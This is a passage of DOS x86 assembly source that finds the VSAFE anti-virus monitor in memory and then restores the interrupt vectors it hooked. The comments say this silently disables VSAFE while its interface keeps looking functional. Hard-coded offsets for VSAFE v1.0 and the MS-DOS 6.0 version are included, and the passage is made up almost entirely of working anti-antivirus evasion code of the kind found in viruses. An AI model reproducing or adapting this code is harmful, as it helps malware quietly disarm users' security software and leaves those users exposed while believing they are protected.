FAMLP2: lodsw ;load offset value used by anti-viral monitor cmp dx,0FFFFH ;test for skip vector check value je FAMLP3 ;if skip value (FFFFH), exit inner loop cmp dx,ax ;does vector table value match monitor value? jne FAMLP3 ;if not, jump to end of loop inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so, increment match counter cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ ;required # of matches found? jne FAMLP3 ;if not, jump to end of loop add bx,2 ;set BX to point at vector segment value mov ax,WORD PTR [es:bx] ;load anti-viral seg. value from vector table mov MONITOR_SEGMENT,ax ;store segment value mov MONITOR_TYPE,di ;store monitor number indicating version/type stc ;set carry flag to indicate monitor was found jmp FAMEX FAMLP3: inc di ;increment monitor number cmp di,NUM_MONITORS ;all monitor values checked for this vector? jne FAMLP2 ;if not, do it all again loop FAMLP1 ;if all vectors not checked, loop to check next clc ;clear carry flag to indicate no monitor foundFAMEX: pop es ret
MONITOR_SEGMENT DW ? ;storage location for monitor segment valueMONITOR_TYPE DW ? ;ditto for monitor type
TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for vector match counts
;**********************************************************************************************;This routine restores all but the keyboard interrupt vectors to their original values prior ;to the residency of VSAFE. This is accomplished by moving the original, unencrypted (!?) ;vector values stored within VSAFE to their respective locations in the system interrupt vector ;table. VSAFE is, thereby, completely disabled, but appears to be fully functional because its ;user interface continues to respond correctly to user inputs. This routine uses the monitor ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) values returned by the;FIND_AV_MON routine.
TABLE_SEGMENT EQU 0 ;interrupt vector table segmentNUM_RESTORE EQU 6 ;number of vectors to restore
NEUT_AV_MON: push es mov ax,OFFSET MON2_OFFSETS sub ax,OFFSET MON1_OFFSETS mul WORD PTR [MONITOR_TYPE] ;calc. string offset for monitor type/version mov si,OFFSET MON1_OFFSETS add si,ax ;point to first value in desired monitor string mov di,OFFSET TABLE_OFFSETS ;ditto for table offset string mov cx,NUM_RESTORE ;set counter to number of vectors to restore RESTORE_VECTS: mov bx,WORD PTR [si] ;load monitor offset of original vector value cmp bx,0FFFFH ;test for skip restoral value je SKIP ;if skip value (FFFFH), then jump to loop mov es,MONITOR_SEGMENT ;set ES to monitor segment mov ax,WORD PTR [es:bx] ;load original vector offset from monitor mov ORIGINAL_OFF,ax ;store in scratch pad mov ax,WORD PTR [es:bx+2] ;load original vector segment from monitor mov ORIGINAL_SEG,ax ;store in scratch pad mov bx,WORD PTR [di] ;load corresponding int. vector table offset mov es,TABLE_SEGMENT ;set ES to int. vector table segment mov ax,ORIGINAL_OFF ;load original vector offset mov WORD PTR [es:bx],ax ;store original offset in vector table mov ax,ORIGINAL_SEG ;load original vector segment mov WORD PTR [es:bx+2],ax ;store original segment in vector tableSKIP: add si,2 ;point SI to next string value add di,2 ;ditto for DI loop RESTORE_VECTS ;loop to restore next vector pop es ret ;all done, monitor is totally neutralized
ORIGINAL_OFF DW ? ;temp. storage for original int. vector offsetORIGINAL_SEG DW ? ;ditto for segment
TABLE_OFFSETS: DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT vector table
MON1_OFFSETS: ;VSAFE v1.0 offsets where DW 1967H,196FH,1977H,197BH,242AH,197FH ;original vectors are stored ;(FFFFH = skip vector restoral)
MON2_OFFSETS: ;MS-DOS 6.0 VSAFE offsets where DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original vectors are stored ;(FFFFH = skip vector restoral)